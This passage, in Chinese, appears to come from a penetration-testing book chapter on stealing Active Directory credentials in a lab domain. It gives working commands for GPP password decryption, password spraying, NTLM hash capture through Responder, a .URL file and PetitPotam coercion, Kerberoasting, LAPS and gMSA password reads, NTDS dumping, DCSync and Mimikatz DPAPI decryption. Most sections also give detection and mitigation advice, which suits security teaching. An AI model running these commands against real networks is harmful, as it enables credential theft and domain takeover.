文件(存放在共享文件夹中的)默认凭证,或者推送WDigest
参数以便从内存中以明文形式导出密码等问题。我们也不会讨论允许在不接触 LSASS 的情况下获取凭证的 Internal Monologue 攻击[1]。我们的重点仅仅是 Active Directory。我们可能会在域中找到一台非常古老的 Windows 2000 之前的计算机,或者域可能受到 MS14-025 漏洞的影响,其中本地管理员密码被加密存储在组策略文件中。我们可以通过密码喷射或搜索 Active Directory 用户的注释字段来试试运气。
老旧,但仍值得尝试
最近,我遇到了一些由Oddvar Moe发布的关于预创建计算机账户的有趣研究[2]。显然,检查将此计算机账户指定为预 Windows 2000 计算机字段将使计算机账户的密码与计算机名称相同。这种情况发生在计算机账户由管理员手动创建且从未在域中使用过时。要查找这样的账户,我们需要寻找UserAccountControl
标志值为4128
。然后,我们可以提取计算机列表并尝试使用CrackMapExec
登录。STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
错误消息会标明猜测的计算机账户密码正确。我们需要在使用计算机账户之前更改密码。这可以通过各种工具完成,例如kpasswd.py
或rpcchangepwd.py
。需要注意的是,使用 Kerberos 身份验证将使你无需更改计算机账户密码。这一行为由Filip Dragovic发现:https://twitter.com/filip_dragovic/status/1524730451826511872。
组策略首选项(GPP)在 Windows 2008 R2 中引入,旨在帮助系统管理员进行各种配置更改。最危险的一个功能是能够在域计算机上设置本地管理员密码。问题在于密码存储在每个经过身份验证的用户都能读取的 XML 文件中,文件路径为\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
。虽然密码使用 AES-256 密钥进行了加密,但微软在 MSDN 上发布了私钥,从而使得加密变得毫无意义。Sean Metcalf的一篇博客详细解释了这一点,博客地址:[3]。这个攻击基本上由两条命令组成——Oddvar Moe提供的一条命令用于搜索该值,和0x00C651E0提供的 Linux 一行命令用于解密密码:
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
还有其他工具,如Gpp-Decrypt
和 Metasploit 的post/windows/gather/credentials/gpp
模块也可用。修补程序发布后,微软彻底移除了 GPP 中的此功能。
描述字段中的密码
在枚举过程中,我们可能会幸运地在 Active Directory 中用户配置文件的描述字段找到密码。以下截图展示了一个例子:
图 4.1 – 描述字段中的密码
即使描述字段中没有密码,检查它也是一个好主意,因为我们可能会找到关于账户用途的有用信息、IT 工作人员的指示以及其他有价值的内容。然而,这样的账户可能是蜜罐。
密码喷洒
另一种猜测正确凭证的方式是进行密码喷射。我们可以采取不同的方式,例如,尝试将用户名作为密码。在开始之前,非常重要的一点是要先查看密码策略,以避免触发锁定。如果NULL
会话绑定不被允许,我们需要一组有效的凭证来拉取密码策略。我们可以通过一个非常强大的工具——CrackMapExec
[4]来实现:
crackmapexec smb 192.168.56.0/24 -u jeor.mormont -p '_L0ngCl@w_' --pass-pol
命令的结果如下面的截图所示:
图 4.2 – 密码策略枚举
我们可以使用各种 PowerShell 命令来拉取策略,例如来自 PowerView 的Get-DomainPolicyData
命令,或者来自 Active Directory 模块的本地Get-ADDefaultDomainPasswordPolicy
命令。
现在我们已经了解了密码策略和锁定规则,并且希望能够获取到用户列表,我们可以开始进行喷射攻击。CrackMapExec 提供了执行喷射的不同选项,例如,使用列表、一对一匹配以及字典列表。让我们尝试进行一种用户名和密码相同的喷射攻击。我们可以运行一个命令,尝试通过 SMB 登录子网内的所有机器(这种方式非常显眼,并且不符合操作安全要求):
crackmapexec smb 192.168.56.0/24 -u user.txt -p user.txt --no-bruteforce --continue-on-success
上一个命令的输出如下面的截图所示(用户hodor
的密码是hodor):
图 4.3 – 成功的密码喷射
还有其他可以用于喷射的工具,比如kerbrute
[5](ropnop开发)和DomainPasswordSpray
[6](dafthack开发)。
在进行喷射攻击之前,仔细枚举域用户是非常重要的,以避免触发可能的诱饵账户。此外,合理选择喷射之间的间隔,因为大量的失败登录尝试(事件 ID 4625)将会触发调查。
在下一节中,我们将讨论如何捕获哈希并避免术语混淆。
捕获哈希
本节将专注于捕获哈希,这是一个广为人知的攻击中的第一步:NTLM 转发。为了更好地理解这一主题,我强烈建议你阅读关于该攻击的最全面的指南[7]。
首先,我们需要稍微介绍一下理论部分。NTLM 认证协议用于网络认证,并且有两个版本。它使用零知识证明的概念,意味着凭证从未通过网络传输。它采用挑战-响应机制,其中服务器发送一组随机数据,客户端则以一个值响应,这个值是将这些数据与一些额外参数和客户端的密钥一起哈希后的结果。作为攻击者,我们的目标是捕获客户端有效的 NTLM 响应。接下来,我们可以尝试破解哈希或转发它。
NTLMv1 已经被弃用,且不被认为是安全的。然而,在较旧的环境中,仍然有可能看到 NTLMv1 的使用。捕获哈希有两种技术:中间人攻击(MITM)和强制认证。
注意
如果以下文本中有任何不清楚的地方,建议您参考此资源:www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications
。
让我们从与网络相关的攻击开始:
-
ARP 中毒发生在攻击者位于客户端和服务器之间时。此攻击的成功率取决于网络拓扑结构和加固情况。此外,它可能导致严重的网络中断。
-
DNS 欺骗要求攻击者通过 ARP/DHCPv6 欺骗在网络中引入恶意 DNS 服务器,以便客户端可以通过该服务器进行通信。然后,攻击者可以回复收到的客户端请求。
-
DHCP 中毒是通过向客户端的 DHCP 回复中注入恶意 WPAD 或 DNS 服务器地址来实现的。客户端请求
wpad.dat
时会触发恶意服务器请求认证。 -
DHCPv6 欺骗之所以可能,是因为 Windows 中的 IPv6 优先级高于 IPv4,并且它是一个多播协议。攻击者可以为客户端提供恶意配置,稍后继续进行 DNS 欺骗。
-
本地链接多播名称解析(LLMNR)、NetBIOS 名称服务(NBT-NS)和多播域名系统(mDNS)欺骗是可能的,因为 Windows 环境中使用了多播名称解析协议。如果 DNS 解析失败,这些协议将作为回退选项进行解析。攻击者可以回答查询,然后要求客户端进行身份验证。
-
WSUS 欺骗需要 ARP 中毒和一个恶意 WSUS 服务器来向客户端部署恶意更新。
-
ADIDNS 中毒是针对 Active Directory 集成 DNS 的攻击。其思路是注入恶意 DDNS 记录。
-
WPAD 欺骗利用了帮助客户端定位代理配置脚本的功能。在 MS16-077 安全更新之后,此攻击只能通过 ADIDNS 或 DHCPv6 欺骗实现。
如果网络中允许使用 NTLMv1 协议,我们可以尝试将身份验证降级到 NTLMv1,以获得 NTLMv1 响应。它使用弱 DES 加密。我们将一个神奇的挑战值(1122334455667788)添加到Responder
的配置文件(/etc/responder/Responder.conf)中并启动它:
sudo responder -I eth1 –-lm --disable-ess
在我们的实验室中,NTLMv1 未启用;然而,在启动 Responder 之后,几分钟内,我们捕获了用户eddard.stark
的 NTLMv2 响应:
sudo responder -I eth1
图 4.4 – 捕获 NTLMv2 响应
为了模拟这一活动,实验室作者在winterfell
上创建了一个计划任务,用户eddard.stark
尝试通过带有拼写错误的 DNS 名称通过 SMB 连接到服务器。由于 DNS 服务器无法解析该名称,广播协议被触发,我们捕获到了 NTLMv2 响应。
为了减少这种捕获的可能性,理想情况下,我们需要停止使用 NTLM。如果无法做到这一点(这通常是情况),应在网络层面应用强密码策略并严格加固。其思路是禁用所有不必要的多播协议和 NTLMv1(在组策略中,将 LAN Manager
设置为 仅发送 NTLMv2 响应。拒绝 LM 和 NTLM)。我们将在下一章提供有关减轻中继攻击的建议。
但是,如果这些网络协议被禁用且 MITM 实际上不可行怎么办?我们可以通过几种方式强制客户端进行身份验证。最近,MDSec[9] 发布了一些有趣的研究。我们可以将某些类型的文件放置在可写共享文件夹中,Windows 会自动进行身份验证并将 NTLM 响应发送到远程机器:SCF
、URL
、library-ms
和 searchConnector-ms
。一个重要的说明是,攻击者的机器应该位于本地内联网区域内,这意味着可以通过 UNC 路径建立网络连接。该研究的思路是使用启用 WebDAV 的 HTTP 服务器来收集哈希,这被称为 farmer
,而用于创建文件的工具被称为 crop
。以下两个命令将捕获哈希:
farmer.exe 8888 120
crop.exe \\castelblack\public legit.url \\winterfell@8888\legit.ico
我们还可以手动创建一个 .URL 文件。其原理是我们将一个环境变量放入文件中,这样受害者机器上的资源管理器在查看文件夹时,会在发送请求之前主动查找该变量,从而有效地连接到我们的文件共享,无需任何用户交互。这种行为使我们能够通过 Responder 捕获 NTLMv2 响应。该 .URL 文件的内容可能如下所示:
[InternetShortcut]
URL=any
WorkingDirectory=any
IconFile=\\192.168.56.100\%USERNAME%.icon
IconIndex=1
如下所示,jon.snow
打开一个公开共享的文件夹时,在 Responder 中可以看到结果:
图 4.5 – 打开公共共享文件夹并使用 .URL 文件后捕获的 NTLMv2 响应
注意
盗取 NTLMv2 响应的其他有趣位置在 Osanda Malith 的博文中有详细描述:osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
。
为了防止之前提到的文件类型强制身份验证,我们需要通过组策略设置关闭网络文件夹的缩略图显示。接下来,我们将介绍另一种强大的技术,用于捕获哈希,如果之前的所有尝试都未成功的话。
强制身份验证
我们已经讨论了 MITM 能力,现在将详细讨论各种强制身份验证的方法。其思路是标准用户可以强制目标机器账户(通常是域控制器)连接到任意目标。这是通过自动身份验证尝试实现的。你可以在一个包含 15 种已知方法的 5 种协议的库中找到相关内容[10]。接下来,我们将深入探讨每种方法。
MS-RPRN 滥用(PrinterBug)
这是一个 不会修复 的 bug,默认在每个 Windows 环境中启用。其原理是,攻击者通过使用域用户名和密码,可以触发 RpcRemoteFindFirstPrinterChangeNotificationEx
方法,并强制通过 SMB 进行身份验证。我们将在后面讨论 Kerberos 的无约束委派时在第五章中演示此攻击。此滥用的常用工具名为 SpoolSample
[11],可在 GitHub 上找到。
MS-EFSR 滥用(PetitPotam)
加密文件系统远程(EFSR)协议可以通过多个 RPC 调用滥用,如 EfsRpcOpenFileRaw
,迫使 Windows 主机对其他计算机进行身份验证。此 RPC 接口可通过不同的 SMB 管道访问,包括在第三章中讨论的 \pipe\samr
和 \pipe\lsarpc
。为了演示这一攻击,我们将使用此概念验证[12]。
我们将在 castelblack
上运行此命令,带有攻击者和域控制器的 IP 地址:
PetitPotam.exe 192.168.56.100 192.168.56.11 1
我们将使用 Responder 捕获域控制器的哈希:
图 4.6 – PetitPotam 强制身份验证成功
在第八章中,我们将展示如何将域控制器的哈希转发到运行活动目录证书服务的服务器,有效地使我们能够危及整个域。
WebDAV 滥用
WebDAV 滥用的想法是找到在域中运行此服务的计算机。WebclientServiceScanner
[13] 工具可以帮助完成此任务。如果没有客户端运行 WebClient
服务,则可以通过 searchConnector-ms
文件[14] 远程启用该服务。然后,我们可以使用之前的 PetitPotam
,结合 基于资源的受限委派(RBCD)滥用。我们将在 第五章 的 Kerberos 部分讨论 RBCD 滥用。
MS-FSRVP 滥用(ShadowCoerce)
微软文件服务器远程 VSS 协议(MS-FSRVP)用于在远程计算机上创建影像副本。支持两种方法。调用可以通过 SMB 命名管道进行。如果目标计算机未启用 文件服务器 VSS 代理服务,则无法进行攻击。此外,补丁 KB5014692 阻止了强制攻击。我能够运行概念验证[15],但未能在 Windows Server 2019(castelblack)上获得 NTLMv2 响应。以下是强制尝试的结果截图:
图 4.7 — ShadowCoerce 运行中
下一个方法也需要目标计算机上有一个服务在运行。
MS-DFSNM 滥用(DFSCoerce)
与其他强制方法相同,该方法使用通过微软的分布式文件系统命名空间管理协议中的 SMB 命名管道(\pipe\netdfs)提供的 RPC 接口。Filip Dragovic 发现了两种方法(NetrDfsAddStdRoot
和 NetrDfsRemoveStdRoot),可以用来强制认证。概念验证代码已发布在 GitHub 上[16]。只需对运行 DFS 的域控制器运行该命令即可。
下一节将涵盖另一种认证协议——Kerberos。理解该协议的机制和工作流对于进一步理解本书内容至关重要。
烤制三头犬
我们不可避免地将达到一个必须讨论并理解 Kerberos 的时刻。该认证协议旨在通过提供有效的票证来访问网络中的服务。
Kerberos 101
在我们讨论可用的攻击途径之前,我们需要更多地理解协议的工作原理。作为一个好的起点,我推荐 hackndo 的博客文章[17]。
我们有三个主要的主体——客户端、服务和密钥分发中心(KDC),即域控制器。以下图表[18],该图表发布于微软官网,解释了它的工作原理:
图 4.8 – Kerberos 概述
现在让我们更详细地一步一步跟随认证过程。
-
KRB_AS_REQ
(Kerberos 认证服务请求)由客户端发送到 KDC,并包含各种信息,最重要的是一个时间戳,该时间戳使用密码的哈希版本进行加密。如果客户端存在,那么 KDC 将尝试通过使用接收到的客户端密码的哈希值解密时间戳。如果一切顺利,会生成会话密钥。 -
KRB_AS_REP
(Kerberos 认证服务回复)将包含票证授予票证(TGT),该票证由客户端的密码哈希会话密钥加密,包含有效期和其他信息。它由 KDC 密钥加密,因此只有域控制器可以读取此票证。 -
KRB_TGS_REQ
(Kerberos 票证授予服务请求)由客户端在想要使用某个服务时发送。它包含 TGT、服务和认证器。认证器由步骤 2中的会话密钥加密,并包含用户名和时间戳。如果 TGT 中的会话密钥成功解密了认证器,并且数据匹配,那么认证成功。 -
KRB_TGS_REP
(Kerberos 票证授予服务回复)将包含请求的服务名称、客户端的名称以及服务和客户端的会话密钥。票证使用服务的密钥和步骤 2中的会话密钥加密。实际上,客户端将解密票证,并提取一个新的会话密钥和票证,以与服务进行通信。 -
KRB_AP_REQ
(Kerberos 应用请求)由客户端发送,包含新的身份验证器和 TGS。身份验证器使用 TGS 中的会话密钥加密。验证方式如步骤 2所示。
现在,我们将讨论事情可能出错的情况。以下攻击执行起来相当简单,但在执行时我们需要保持 OpSec 意识。
ASREQRoast
我们将从一种不利用协议配置错误且需要强大 MITM 攻击的攻击开始。这个思路是拦截 KRB_AS_REQ 数据包并尝试破解用户密码的哈希。该哈希用于加密预身份验证阶段的时间戳。你可以阅读详细讨论此攻击的原始研究[19]。本质上,我们应该拥有 MITM 位置;我们被动地收集流量,然后使用如Pcredz
[20]之类的工具提取哈希,稍后可以使用 hashcat[21] 来尝试破解。这种攻击的主要警告是需要获取 MITM 位置。
KRB_AS_REP 烤制(ASREPRoast)
当在 Active Directory 中配置错误,启用了不要求 Kerberos 预身份验证时,就可能发生此攻击。可以在用户对象属性中看到这一点:
图 4.9 – 启用了预身份验证的用户
对于攻击执行,我们将使用 Rubeus[22]。但在输入命令之前,我们需要讨论一些 OpSec 考虑事项。根据文档,我们知道 Rubeus 会找到所有配置错误的帐户并尝试烤制它们。这将在域控制器上生成安全事件,ID=4768 和某些值(票据加密类型 0x17,预身份验证
类型:0):
图 4.10 – 发现 ASREPRoasting 攻击
更好的方法是先提取配置错误的帐户列表,进行更多的侦查(例如,检查蜜罐帐户),然后再进行烤制。我们可以使用 PowerView 来执行此操作:
Get-DomainUser -PreauthNotRequired -verbose
LDAP 搜索过滤器和输出显示在以下截图中:
图 4.11 – 易受 AS-REP 烤制攻击的用户列表
现在,我们可以运行以下命令:
Rubeus.exe asreproast /user:brandon.stark
输出如下图所示:
图 4.12 – 哈希已准备好破解
我们可以使用john
(--format=krb5asrep)或hashcat
(-m 18200)来破解哈希。
为了减轻此攻击,我们可以尝试以下措施:
-
默认情况下,预身份验证已启用,因此请检查为什么某些帐户被禁用了此功能
-
对禁用预身份验证的帐户应用额外的密码复杂性要求
-
确保只有特权用户可以更改预身份验证属性
-
监控更改预身份验证属性的事件(ID 4738 和 ID 5136)
-
监控烤制尝试(ID 4768 和 ID 4625)
Kerberoasting
该攻击的核心思想是请求一个服务票证(ST),并破解哈希以获取服务账户的密码。为了能够请求 ST,我们需要在域中进行身份验证(拥有有效的 TGT)并知道服务主体名称(SPN)。SPN 是林中唯一的服务名称。在大多数情况下,服务是由机器账户运行的,这些账户有着长且复杂的密码。但如果一个服务账户有手动设置的密码和 SPN,我们可以试试运气。
有一篇出色的博客文章详细介绍了 Kerberoasting 和 OpSec 的内容,并附有示例[23]。我们会在这里涵盖其中的内容,但原始研究是绝对值得一读的。
总的来说,策略保持不变——找到带有 SPN 的账户并进行 roasting。AS-REP roasting 中可能发生的 OpSec 失败同样适用于这里,以及以下内容:
-
LDAP 搜索过滤器过于宽泛
-
在短时间内请求了多个 ST(安全事件 ID 为 4769),包括蜜罐账户
-
请求带有加密降级的 ST
现在,我们将逐步讨论如何避免失败。枚举是成功的关键。根据林的大小,我们可以进行一般的 LDAP 搜索,重点收集有助于我们选择正确目标的信息。在我们的实验室中,最初的枚举可以通过过滤用户来完成,排除掉krbtgt
和禁用的账户:
([adsisearcher]'(&(samAccountType=805306368)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))').FindAll()
我们有一个很有前途的候选用户,名为sql_svc
。通过 PowerView,我们可以确认这个用户拥有一个 SPN:
图 4.13 – 找到带有 SPN 的用户
为了确保我们不是在处理一个蜜罐,我们可以检查该对象是否确实存在于域中。这个对象的权限是什么?我们真的能从 roasting 它中受益吗?此外,它的pwdLastSet
和lastLogon
属性应该是显而易见的。接下来的聪明做法是检查MsDS-SupportedEncryptionTypes
属性中的加密类型。在 Rubeus 中,有一个参数可以过滤启用 AES 的账户:/rc4opsec
。最后一步,运行以下命令来获取哈希值(/nowrap
选项会将哈希值输出为一行):
Rubeus.exe kerberoast /user:sql_svc
执行前述命令后的输出如下所示:
图 4.14 – Kerberoasting 攻击
然后,我们可以使用 john
(--format=krb5tgs)或 hashcat
(-m 13100)来破解这个哈希。在我们讨论缓解措施之前,有一件重要的事情需要补充。如果攻击者有权将 SPN 添加到其他账户上,就可以执行有针对性的 Kerberoasting 攻击。我们将在 第六章中详细讨论这个问题,权限提升。
有一个由Luct0r编写的 C# 工具,完全实现了博客文章中的 OpSec 推荐,且可以在 GitHub 上找到[24]。
为了减轻此类攻击,我们需要避免将 SPN 分配给用户帐户。如果无法避免,我们可以使用 组管理服务帐户(gMSA) 进行自动密码管理,接下来我们将讨论这一点。此外,蜜罐帐户、事件日志的及时记录以及搜索过滤器可以帮助识别攻击。
下一部分将展示如果域安全增强配置错误,攻击者如何滥用这些增强功能。
域中的自动密码管理
之前的一些攻击,如 MS14-025 和 Kerberoasting,推动了密码管理自动化的发展。为了解决本地管理员密码轮换问题,LAPS 应运而生。为了应对 Kerberoasting,微软稍后引入了 gMSA。
LAPS
现在,我们将在 essos
域的 braavos
上部署 LAPS,并讨论可能的攻击路径。我将遵循此部署指南[25]。总体步骤包括组件安装、Active Directory 架构扩展、在计算机上部署代理和配置组策略。
安装过程非常简单。只需下载 .msi
文件并进行部署。运行以下命令后,您的架构将会扩展(以架构管理员身份运行):
Update-AdmPwdADSchema
输出将类似于以下截图所示:
图 4.15 – 架构更新成功
下一步是最关键的,因为此处的配置错误可能导致被攻破。我们需要指定可以查看管理员密码的用户。默认情况下,这些用户是 SYSTEM
和“域管理员”组中的成员。这一次,我们将添加非特权用户到此组中:
Set-AdmPwdReadPasswordPermission -OrgUnit "OU=Servers,DC=essos,DC=local" -AllowedPrincipals viserys.targaryen
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Servers,DC=essos,DC=local"
以下截图展示了命令的输出:
图 4.16 – 授予用户 LAPS 读取权限
现在,我们将换个角度,讨论攻击者的选择。首先,我们需要了解 LAPS 是否已安装。有几种方法可以得到答案:
-
使用 PowerView 查看计算机对象属性中的
ms-Mcs-AdmPwdExpirationTime
属性 -
在
C:\Program Files\LAPS\CSE
中搜索AdmPwd.dll
-
搜索名为 LAPS、passwords 或类似的 组策略对象(GPO),但不要完全依赖命名
考虑到我们作为域用户登录,我们应该能够发现哪些人被允许读取 LAPS 密码。这可以借助 BloodHound 和 PowerView 来完成。此外,LAPSToolkit
[26] 可以作为执行完整攻击链的工具。运行 PowerView 中的 Invoke-ACLScanner
后的输出如以下截图所示:
图 4.17 – 发现具有 ReadLAPS 权限的用户
如果我们已经妥协了这样的用户,我们可以通过 Get-LAPSPasswords
PowerShell 命令获取本地管理员密码[27]。此操作的输出如以下截图所示:
图 4.18 – 本地管理员密码泄露
我们在此可以引入的唯一缓解措施是小心谁被委托有权揭示密码,并确保通过组策略强制设置过期时间。这将帮助我们确保密码定期更改。
gMSA
gMSA 在 Windows Server 2016 中引入,但可以在 Windows Server 2012 及以上版本中使用。它的理念与 LAPS 的创建有许多相似之处,但与本地管理员账户不同,它用于服务账户。
gMSA 是活动目录中的一种对象类型,具有属性和权限。最有趣的属性是msDS-ManagedPassword
(包含密码的二进制大对象)和msDS-GroupMSAMembership
(谁可以读取该二进制大对象)。让我们部署 gMSA 并讨论攻击步骤。
第一步是使用以下两个命令创建 gMSA(以域管理员身份运行,而不是在域控制器上运行):
Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10)
New-ADServiceAccount -Name sql_acc -DNSHostname braavos.essos.local
我们可以看到该账户已成功创建在活动目录用户和计算机控制台中:
图 4.19 – gMSA 创建成功
第二步是设置允许检索明文密码的主体。我们将再次在一个非特权用户上设置主体,以演示攻击:
Set-ADServiceAccount -Identity 'sql_acc' -PrincipalsAllowedToRetrieveManagedPassword 'viserys.targaryen'
攻击者可以使用以下命令来获取关于能够检索受管理密码的主体的信息:
Get-ADServiceAccount -filter * -prop * | select name,PrincipalsAllowedToRetrieveManagedPassword
命令的输出如下所示:
图 4.20 – 用户检索 gMSA 密码
第三步是妥协用户并将密码作为二进制大对象提取,攻击者随后可以使用以下命令和 DSInternals
[28] 模块将其转换为 NT 哈希:
$pwd = Get-ADServiceAccount -identity sql_acc -Properties msds-ManagedPassword
$pw = ConvertFrom-ADManagedPasswordBlob $pwd.'msds-managedpassword'
ConvertTo-NTHash $pw.securecurrentpassword
以下截图显示了 SecureCurrentPassword
和 CurrentPassword
的 UTF-16 格式。我们还将 SecureCurrentPassword
转换为 NT 哈希:
图 4.21 – gMSA 密码的 NT 哈希
然后可以使用该哈希值进行传递哈希攻击,我们将在下一章中讨论这种攻击。
但是,如果没有安装 AD 模块,我们可以使用 Windows 编写的 GMSAPasswordReader
(由 rvazarkar 编写),或在 Linux 上使用 gMSADumper
(由 micahvandeusen 编写)。唯一的注意事项是我们需要账户名来转储其哈希。以具有读取 gMSA 密码权限的用户身份运行简单命令:
.\GMSAPasswordReader.exe --Accountname sql_acc
我们将获得以下输出:
图 4.22 – 使用 GMSAPasswordRead 工具的结果
和往常一样,缓解措施是确保正确设置 GMSA 的权限。同时,可以配置并监控事件日志中的事件 ID 4662,这将显示哪个账户查询了 msDS-ManagedPassword
属性。
NTDS 秘密
我们将讨论 NTDS 密码提取,因为此攻击仅适用于域控制器。ntds.dit 文件是一个数据库,用于存储 Active Directory 数据,包括哈希值。该文件位于 %systemroot\NTDS\ntds.dit
和 %systemroot\System32\ntds.dit
中。它会持续被使用,因此不能像其他文件一样直接复制。ntds.dit 数据有多种转储方式[31]:
-
ntdsutil.exe
– Active Directory 维护工具 -
VSSAdmin
– 卷影复制 -
vshadow
-
DiskShadow
-
esentutl.exe
-
NinjaCopy
来自 PowerSploit -
Copy-VSS
来自 Nishang -
windows/gather/credentials/domain_hashdump
来自 Metasploit
对于我们的示例,在域控制器上,我们将运行 ntdsutil.exe
,它将保存 ntds.dit 文件和 SYSTEM
注册表 Hive,然后我们可以将其移动到我们的机器上,并使用 secretsdump
提取哈希:
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit
secretsdump -ntds ntds.dit.save -system system.save LOCAL
输出如下面的截图所示:
图 4.23 – 从 NTDS.dit 提取的哈希
为了检测转储,我们需要启用命令行审计,并监视事件 ID 4688,以查找使用前述工具的迹象。在应用程序日志中,检查 NTDS 数据库的创建和分离,事件 ID 为 325、326、327 和 216。
在下一节中,我们将执行一个 DCSync 攻击,针对域控制器进行,该攻击不需要我们在机器上运行任何命令。我们可以通过网络进行,如果配置不当,我们的用户可能会失去所有权限。
DCSync
DCSync 使用域控制器的 API 来模拟从远程域控制器的复制过程。简而言之,DCSync 通过 RPC 请求执行域控制器的 DsGetNCChanges
操作,访问 Directory Replication Service API
(DRSUAPI)。此攻击需要扩展权限,DS-Replication-Get-Changes
和 DS-Replication-Get-Changes-All
,这些权限默认只分配给“域控制器”、“域管理员”、“管理员”和“企业管理员”组。
如果我们能够通过扩展权限入侵用户,我们可以运行 secretsdump
获取域中的所有哈希:
/usr/bin/impacket-secretsdump -outputfile 'something' 'essos'/'daenerys.targaryen':'BurnThemAll!'@'192.168.56.12'
前述命令产生的输出如下所示:
图 4.24 – DCSync 攻击结果
正如我们所见,DCSync 攻击非常强大,能够完全接管整个域。为了减少攻击痕迹,攻击者可能会直接在域控制器上运行此攻击,避免被网络检测到。然而,这需要域管理员权限。
可以通过网络流量分析或事件日志监控来检测攻击。我们可以分析朝向域控制器的流量,检查是否有其他域控制器发起了DsGetNCChanges
操作的 DRSUAPI RPC 请求。这可以借助名为DCSYNCMonitor
[32]的工具完成。该工具接受域控制器列表,并且当来自未知源的请求出现时,会生成事件。
在 Windows 事件日志中,我们可以检查事件 ID 4662,并评估属性值以控制访问权限:
-
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2** (
DS-Replication-Get-Changes-All**) -
89e95b76-444d-4c62-991a-0facbeda640c** (
DS-Replication-Get-Changes-In-Filtered-Set**) -
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2** (
DS-Replication-Get-Changes**)
然后,我们需要检查帐户名称的值是否为域控制器。如果不是,那么我们可以可靠地检测到 DCSync。即使 DCSync 在域控制器本地运行,事件 ID 4662 仍会出现在日志中。
另外,鉴于 DCSync 使用 RPC 协议,可以通过基于 DRSUAPI 的 UUID 在端点上使用 ETW 进行检测。将DSRUAPI UUID
(e3514235-4b06-11d1-ab04-00c04fc2dcd2)和OpNum 3
(IDL_DRSGetNCChanges)关联起来,将是恶意活动的良好指示器[33]。
通过 DPAPI 以明文方式转储用户凭据
让我们通过一个场景来进行说明。在遵循内部安全政策并经过安全意识培训后,用户开始使用 Windows 中的凭据管理器,而不再使用password.txt
文件。凭据管理器是 Windows 内置的密码管理器,使用数据保护 API(DPAPI)。DPAPI 允许程序(如 Chrome 或 RDP)透明地存储敏感数据。数据存储在用户目录中,并通过从用户密码派生的密钥进行加密。我们的目标用户khal.drogo
在其凭据管理器中存储了 SQL 系统管理员(SA)帐户的凭据。攻击者已经获得了该用户的域管理员权限,并打算以明文形式提取 SA 密码。存在三种攻击场景:
-
获取
khal.drogo
的主密钥并进行解密 -
如果您具有本地管理员权限,则提取所有本地主密钥
-
使用
Domain Admins
组中的帐户提取所有备份主密钥
出于演示目的,我们选择了第三个路径。所有命令都在daenerys.targaryen
帐户下运行(该帐户是“域管理员”组的成员)。
成功提取密码所需的步骤如下:
-
定位凭据文件。文件被隐藏,并位于以下路径:
dir /a:h C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\*
-
使用 Mimikatz 的
dpapi::cred
命令和凭据文件的路径查找guidMasterKey
值:mimikatz.exe "dpapi::cred /in:C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\value_from_step_1"
-
从域控制器提取备份主密钥:
mimikatz.exe "lsadump::backupkeys /system:meereen.essos.local /export"
-
获取用户
khal.drogo
的主密钥:mimikatz.exe "dpapi::masterkey /in:"C:\Users\khal.drogo\AppData\Roaming\Microsoft\Protect\{USER_SID}\guidMasterKey_from_step_2" /pvk:private_keyfile_from_step_3.pvk
-
解密保存的凭据:
mimikatz.exe "dpapi::cred /in: C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\value_from_step_1 /masterkey:key_value_from_step_4"
可以在以下截图中看到命令执行的结果:
图 4.25 – 明文 sa 密码
该技术可以通过命令行审计进行检测,从而生成事件 ID 4688,标记恶意工具的使用。更好的选择是启用对象审计,检查事件 ID 4662,查看对象类型(SecretObject)、对象名称(*UPKEY
*)和访问掩码(0x2)的值。
简单提一下,通过 DCSync 也可以导出备份密钥。需要在 Active Directory 中找到该密钥的域对象 GUID 以进一步导出。
总结
本章介绍了可以帮助您获取凭证(无论是明文形式还是哈希形式)的工具和技术。获取这些敏感数据是攻击 Active Directory 时向前推进的关键步骤。我们还讨论了 OpSec 考虑因素以及可能的缓解/检测选项。
在下一章中,我们将介绍域内以及森林之间的横向移动。我们将重点讨论中继和各种类型的通行证攻击,最后介绍 Kerberos 委托滥用和森林之间的横向移动。
参考资料
-
内部独白攻击 – 在不接触 LSASS 的情况下获取 NTLM 哈希值:
github.com/eladshamir/Internal-Monologue
-
预先创建的计算机帐户研究:
www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/
-
利用 GPP:
adsecurity.org/?p=2288
-
CrackMapExec:
github.com/Porchetta-Industries/CrackMapExec
-
Kerbrute:
github.com/ropnop/kerbrute
-
DomainPasswordSpray:
github.com/dafthack/DomainPasswordSpray
-
NTLM 中继:
en.hackndo.com/ntlm-relay/
-
Responder:
github.com/lgandx/Responder
-
收集 NetNTLM:
www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
-
强制身份验证方法:
github.com/p0dalirius/windows-coerced-authentication-methods
-
SpoolSample:
github.com/leechristensen/SpoolSample
-
PetitPotam:
github.com/topotam/PetitPotam
-
WebClient 服务扫描器:
github.com/Hackndo/WebclientServiceScanner
-
远程启用 WebClient 服务:
dtm.uk/exploring-search-connectors-and-library-files-on-windows/
-
ShadowCoerce:
github.com/ShutdownRepo/ShadowCoerce
-
DFSCoerce:
github.com/Wh04m1001/DFSCoerce
-
Kerberos:
en.hackndo.com/kerberos/
-
Kerberos 图解:
learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13
-
ASREQRoast:
dumpco.re/blog/asreqroast
-
Pcredz:
github.com/lgandx/PCredz
-
Hashcat:
hashcat.net/hashcat/
-
Rubeus:
github.com/GhostPack/Rubeus
-
Kerberoast 与 OpSec 结合使用:
m365internals.com/2021/11/08/kerberoast-with-opsec/
-
KerberOPSEC:
github.com/Luct0r/KerberOPSEC
-
LAPS 部署:
theitbros.com/deploying-local-administrator-password-solution-laps-in-active-directory/
-
